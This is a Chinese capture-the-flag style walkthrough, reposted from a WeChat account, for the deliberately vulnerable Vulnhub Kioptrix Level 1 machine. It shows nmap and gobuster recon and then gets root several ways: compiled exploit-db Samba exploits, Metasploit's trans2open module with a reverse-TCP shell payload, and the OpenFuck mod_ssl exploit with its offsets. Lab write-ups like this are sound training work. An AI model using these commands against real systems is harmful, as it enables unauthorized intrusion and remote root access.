Vulnhub Kioptrix-Level-1

admin 2024年3月5日12:23:48评论12 views字数 1574阅读5分14秒阅读模式

0x01 靶机介绍

  • Name: Kioptrix: Level 1 (#1)

  • Date release: 17 Feb 2010

  • Author: Kioptrix

  • Series: Kioptrix

  • Web page: http://www.kioptrix.com/blog/?page_id=135

靶机下载地址:

https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

0x02 侦察

口探测

首先使用 nmap 进行端口扫描

nmap -p- -sV -sC -A 192.168.0.106 -oA nmap_kioptrix-1

Vulnhub Kioptrix-Level-1

扫描结果显示目标开放了22、80、111、139、443和1024端口

80端口

访问http://192.168.0.106为测试界面

Vulnhub Kioptrix-Level-1

目录扫描

使用 gobuster 进行目录扫描,成功发现目录manualusagemrtg

gobuster dir -u http://192.168.0.106 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Vulnhub Kioptrix-Level-1

访问manual目录存在目录遍历

Vulnhub Kioptrix-Level-1

访问usage目录为网站的使用情况

Vulnhub Kioptrix-Level-1

访问mrtg目录为 MRTG 且版本为2.9.6

Vulnhub Kioptrix-Level-1

0x03 上线[root]

信息收集

使用 MSF 扫描 Samba 版本为2.2.1a

msfconsolemsf > use auxiliary/scanner/smb/smb_versionmsf > set RHOSTS 192.168.0.106msf > run
Vulnhub Kioptrix-Level-1

使用 searchsploit 查找相关漏洞,成功发现存在多个远程代码执行漏洞

searchsploit samba 2.2cp /usr/share/exploitdb/exploits/multiple/remote/10.c ./
Vulnhub Kioptrix-Level-1

Samba远程代码执行

编译并执行 EXP,成功拿到 root 用户权限

gcc 10.c -o exp./exp -b 0 -v 192.168.0.106
Vulnhub Kioptrix-Level-1

Samba trans2open远程溢出

MSF利用

使用 MSF 进行漏洞利用,成功拿到root权限

msfconsolemsf > use exploit/linux/samba/trans2openmsf > set rhosts 192.168.0.106msf > set lhost 192.168.0.109msf > set payload linux/x86/shell/reverse_tcpmsf > run
Vulnhub Kioptrix-Level-1

编译执行

复制 EXP 至本地目录

searchsploit trans2opencp /usr/share/exploitdb/exploits/unix/remote/22469.c ./

Vulnhub Kioptrix-Level-1

编译并执行 EXP,成功拿到 root 用户权限

gcc 22469.c -o exp1./exp1 -t 192.168.0.106

Vulnhub Kioptrix-Level-1

Apache mod_ssl 远程溢出

进入http://192.168.0.106/manual/mod/mod_ssl/发现mod_ssl的版本为2.8

Vulnhub Kioptrix-Level-1

使用 OpenFuck 前提需安装libssl-dev

git clone https://github.com/heltonWernik/OpenFuck.gitapt-get install libssl-dev

Vulnhub Kioptrix-Level-1

编译 OpenFuck 并运行,提示不同系统所支持的偏移量

gcc -o OpenFuck OpenFuck.c -lcrypto./OpenFuck

Vulnhub Kioptrix-Level-1

靶机的 Apache 版本为1.3.20,操作系统为 RedHat,因此偏移量可使用0x6a0x6b

Vulnhub Kioptrix-Level-1利用偏移量0x6b成功拿到目标 root 权限

./OpenFuck 0x6a 192.168.0.106 -c 40./OpenFuck 0x6b 192.168.0.106 -c 50

Vulnhub Kioptrix-Level-1

Vulnhub Kioptrix-Level-1

原文始发于微信公众号(狐狸说安全):Vulnhub Kioptrix-Level-1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月5日12:23:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vulnhub Kioptrix-Level-1http://cn-sec.com/archives/2548043.html

发表评论

匿名网友 填写信息